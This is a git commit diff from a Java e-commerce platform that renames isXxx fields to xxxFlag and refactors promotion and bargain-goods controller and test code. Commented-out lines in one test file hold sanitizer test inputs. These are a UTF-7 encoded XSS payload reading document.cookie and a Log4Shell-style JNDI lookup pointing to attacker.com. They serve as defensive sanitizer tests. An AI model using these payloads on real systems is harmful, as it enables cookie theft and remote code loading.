优化促销。移除结算时促销的依赖。规范部分isxxx字段命名

This commit is contained in:
paulGao
2021-12-21 18:54:11 +08:00
parent e4047fbd30
commit 3ba4d24041
56 changed files with 534 additions and 534 deletions

View File

@@ -1,8 +1,8 @@
package cn.lili.controller.goods;
import cn.lili.common.enums.ResultCode;
import cn.lili.common.exception.ServiceException;
import cn.lili.common.enums.ResultUtil;
import cn.lili.common.exception.ServiceException;
import cn.lili.common.vo.ResultMessage;
import cn.lili.modules.goods.entity.dos.Goods;
import cn.lili.modules.goods.entity.dos.GoodsSku;
@@ -61,7 +61,7 @@ public class GoodsManagerController {
@GetMapping(value = "/auth/list")
public IPage<Goods> getAuthPage(GoodsSearchParams goodsSearchParams) {
goodsSearchParams.setIsAuth(GoodsAuthEnum.TOBEAUDITED.name());
goodsSearchParams.setAuthFlag(GoodsAuthEnum.TOBEAUDITED.name());
return goodsService.queryByParams(goodsSearchParams);
}
@@ -82,12 +82,12 @@ public class GoodsManagerController {
@ApiOperation(value = "管理员审核商品", notes = "管理员审核商品")
@ApiImplicitParams({
@ApiImplicitParam(name = "goodsIds", value = "商品ID", required = true, paramType = "path", allowMultiple = true, dataType = "int"),
@ApiImplicitParam(name = "isAuth", value = "审核结果", required = true, paramType = "query", dataType = "string")
@ApiImplicitParam(name = "authFlag", value = "审核结果", required = true, paramType = "query", dataType = "string")
})
@PutMapping(value = "{goodsIds}/auth")
public ResultMessage<Object> auth(@PathVariable List<String> goodsIds, @RequestParam String isAuth) {
public ResultMessage<Object> auth(@PathVariable List<String> goodsIds, @RequestParam String authFlag) {
//校验商品是否存在
if (goodsService.auditGoods(goodsIds, GoodsAuthEnum.valueOf(isAuth))) {
if (goodsService.auditGoods(goodsIds, GoodsAuthEnum.valueOf(authFlag))) {
return ResultUtil.success();
}
throw new ServiceException(ResultCode.GOODS_AUTH_ERROR);

View File

@@ -24,7 +24,7 @@ import java.util.Arrays;
* 管理端,促销接口
*
* @author qiuqiu
* @date 2021/7/2
* @since 2021/7/2
**/
@RestController
@Api(tags = "管理端,砍价促销接口")
@@ -44,8 +44,8 @@ public class KanJiaActivityGoodsManagerController {
@ApiOperation(value = "获取砍价活动分页")
@GetMapping
public ResultMessage<IPage<KanjiaActivityGoods>> getKanJiaActivityPage(KanjiaActivityGoodsParams KanJiaActivityParams, PageVO page) {
return ResultUtil.data(kanJiaActivityGoodsService.getForPage(KanJiaActivityParams, page));
public ResultMessage<IPage<KanjiaActivityGoods>> getKanJiaActivityPage(KanjiaActivityGoodsParams kanJiaParams, PageVO page) {
return ResultUtil.data(kanJiaActivityGoodsService.pageFindAll(kanJiaParams, page));
}
@@ -60,7 +60,9 @@ public class KanJiaActivityGoodsManagerController {
@PutMapping
@ApiOperation(value = "修改砍价商品")
public ResultMessage<Object> updatePointsGoods(@RequestBody KanjiaActivityGoodsDTO kanJiaActivityGoodsDTO) {
kanJiaActivityGoodsService.updateKanjiaActivityGoods(kanJiaActivityGoodsDTO);
if (!kanJiaActivityGoodsService.updateKanjiaActivityGoods(kanJiaActivityGoodsDTO)) {
return ResultUtil.error(ResultCode.KANJIA_GOODS_UPDATE_ERROR);
}
return ResultUtil.success();
}
@@ -68,7 +70,7 @@ public class KanJiaActivityGoodsManagerController {
@DeleteMapping("/{ids}")
@ApiOperation(value = "删除砍价商品")
public ResultMessage<Object> delete(@PathVariable String ids) {
if (kanJiaActivityGoodsService.deleteKanJiaGoods(Arrays.asList(ids.split(",")))) {
if (kanJiaActivityGoodsService.removePromotions(Arrays.asList(ids.split(",")))) {
return ResultUtil.success();
}
throw new ServiceException(ResultCode.KANJIA_GOODS_DELETE_ERROR);

View File

@@ -7,6 +7,8 @@ import cn.lili.modules.goods.entity.dos.GoodsSku;
import cn.lili.modules.goods.entity.enums.GoodsAuthEnum;
import cn.lili.modules.goods.entity.enums.GoodsStatusEnum;
import cn.lili.modules.goods.service.GoodsSkuService;
import cn.lili.modules.promotion.entity.dos.FullDiscount;
import cn.lili.modules.promotion.entity.dto.BasePromotions;
import cn.lili.modules.promotion.service.PromotionService;
import cn.lili.modules.search.entity.dos.EsGoodsAttribute;
import cn.lili.modules.search.entity.dos.EsGoodsIndex;
@@ -63,14 +65,18 @@ class EsTest {
// System.out.println(Sanitizers.FORMATTING.and(Sanitizers.FORMATTING).sanitize("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
// System.out.println(HtmlUtil.unescape(safeHTML));
// System.out.println(HtmlUtil.filter("+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-"));
Date dt1 = new Date(2021, 12, 10);
Date dt2 = new Date(2021, 12, 14);
System.out.println(new Date().before(dt2));
// Date dt1 = new Date(2021, 12, 10);
// Date dt2 = new Date(2021, 12, 14);
//
// System.out.println(new Date().before(dt2));
// String filter = HtmlUtil.filter("${jndi:ldap://attacker.com/a}");
// String sanitize = Sanitizers.FORMATTING.and(Sanitizers.LINKS).sanitize("${jndi:ldap://attacker.com/a}");
// System.out.println(filter);
// System.out.println(sanitize);
FullDiscount fullDiscount = new FullDiscount();
fullDiscount.setStartTime(new Date());
BasePromotions promotions = fullDiscount;
System.out.println(promotions);
}
@@ -124,7 +130,7 @@ class EsTest {
@Test
void init() {
LambdaQueryWrapper<GoodsSku> queryWrapper = new LambdaQueryWrapper<>();
queryWrapper.eq(GoodsSku::getIsAuth, GoodsAuthEnum.PASS.name());
queryWrapper.eq(GoodsSku::getAuthFlag, GoodsAuthEnum.PASS.name());
queryWrapper.eq(GoodsSku::getMarketEnable, GoodsStatusEnum.UPPER.name());
List<GoodsSku> list = goodsSkuService.list(queryWrapper);
List<EsGoodsIndex> esGoodsIndices = new ArrayList<>();
@@ -173,60 +179,6 @@ class EsTest {
@Test
void updateIndex() {
// EsGoodsIndex goodsIndex = new EsGoodsIndex();
// goodsIndex.setId("121");
// goodsIndex.setBrandId("113");
// goodsIndex.setGoodsId("113");
// goodsIndex.setCategoryPath("0|1");
// goodsIndex.setBuyCount(100);
// goodsIndex.setCommentNum(100);
// goodsIndex.setGoodsName("惠普HP战66 三代AMD版14英寸轻薄笔记本电脑锐龙7nm 六核R5-4500U 16G 512G 400尼特高色域一年上门 ");
// goodsIndex.setGrade(100D);
// goodsIndex.setHighPraiseNum(100);
// goodsIndex.setIntro("I'd like a cup of tea, please");
// goodsIndex.setIsAuth("1");
// goodsIndex.setMarketEnable("1");
// goodsIndex.setMobileIntro("I want something cold to drink");
// goodsIndex.setPoint(100);
// goodsIndex.setPrice(100D);
// goodsIndex.setSelfOperated(true);
// goodsIndex.setStoreId("113");
// goodsIndex.setStoreName("惠普自营官方旗舰店");
// goodsIndex.setStoreCategoryPath("1");
// goodsIndex.setThumbnail("picture");
// goodsIndex.setSn("A113");
// Map<String, BasePromotion> promotionMap = new HashMap<>();
// Coupon coupon = new Coupon();
// coupon.setStoreId("113");
// coupon.setStoreName("惠普自营官方旗舰店");
// coupon.setPromotionStatus(PromotionStatusEnum.START.name());
// coupon.setReceivedNum(0);
// coupon.setConsumeLimit(11D);
// coupon.setCouponLimitNum(10);
// coupon.setCouponName("满11减10");
// coupon.setCouponType(CouponTypeEnum.PRICE.name());
// coupon.setGetType(CouponGetEnum.FREE.name());
// coupon.setPrice(10D);
// promotionMap.put(PromotionTypeEnum.COUPON.name(), coupon);
// goodsIndex.setPromotionMap(promotionMap);
// List<EsGoodsAttribute> esGoodsAttributeList = new ArrayList<>();
// EsGoodsAttribute attribute = new EsGoodsAttribute();
// attribute.setType(0);
// attribute.setName("颜色");
// attribute.setValue("14英寸");
// esGoodsAttributeList.add(attribute);
// esGoodsAttributeList.add(attribute);
// attribute = new EsGoodsAttribute();
// attribute.setName("版本");
// attribute.setValue("【战66新品】R5-4500 8G 256G");
// esGoodsAttributeList.add(attribute);
// attribute = new EsGoodsAttribute();
// attribute.setName("配置");
// attribute.setValue("i5 8G 512G 2G独显");
// esGoodsAttributeList.add(attribute);
// goodsIndex.setAttrList(esGoodsAttributeList);
// GoodsSku goodsSkuByIdFromCache = goodsSkuService.getGoodsSkuByIdFromCache("121");
// EsGoodsIndex goodsIndex = new EsGoodsIndex(goodsSkuByIdFromCache);
EsGoodsIndex byId = esGoodsIndexService.findById("121");
byId.setPromotionMap(null);
esGoodsIndexService.updateIndex(byId);
@@ -253,7 +205,7 @@ class EsTest {
goodsIndex.setGrade(100D);
goodsIndex.setHighPraiseNum(100);
goodsIndex.setIntro("I'd like a cup of tea, please");
goodsIndex.setIsAuth("1");
goodsIndex.setAuthFlag("1");
goodsIndex.setMarketEnable("1");
goodsIndex.setMobileIntro("I want something cold to drink");
goodsIndex.setPoint(0);

View File

@@ -42,10 +42,10 @@ class FullDiscountTest {
fullDiscountVO.setStoreId("131");
fullDiscountVO.setStoreName("小米自营旗舰店");
fullDiscountVO.setDescription("full discount test " + RandomUtil.randomNumber());
fullDiscountVO.setIsFullMinus(true);
fullDiscountVO.setFullMinusFlag(true);
fullDiscountVO.setFullMoney(130D);
fullDiscountVO.setFullMinus(100D);
fullDiscountVO.setIsFreeFreight(true);
fullDiscountVO.setFreeFreightFlag(true);
fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId());
fullDiscountVO.setTitle("" + fullDiscountVO.getFullMoney() + "" + fullDiscountVO.getFullMinus());
@@ -91,10 +91,10 @@ class FullDiscountTest {
fullDiscountVO.setStoreId("132");
fullDiscountVO.setStoreName("联想自营旗舰店");
fullDiscountVO.setDescription("Not worth");
fullDiscountVO.setIsFullMinus(true);
fullDiscountVO.setFullMinusFlag(true);
fullDiscountVO.setFullMoney(100D);
fullDiscountVO.setFullMinus(80D);
fullDiscountVO.setIsFreeFreight(true);
fullDiscountVO.setFreeFreightFlag(true);
fullDiscountVO.setPromotionName("FullDiscount-" + fullDiscountVO.getId());
fullDiscountVO.setTitle("" + fullDiscountVO.getFullMoney() + "" + fullDiscountVO.getFullMinus());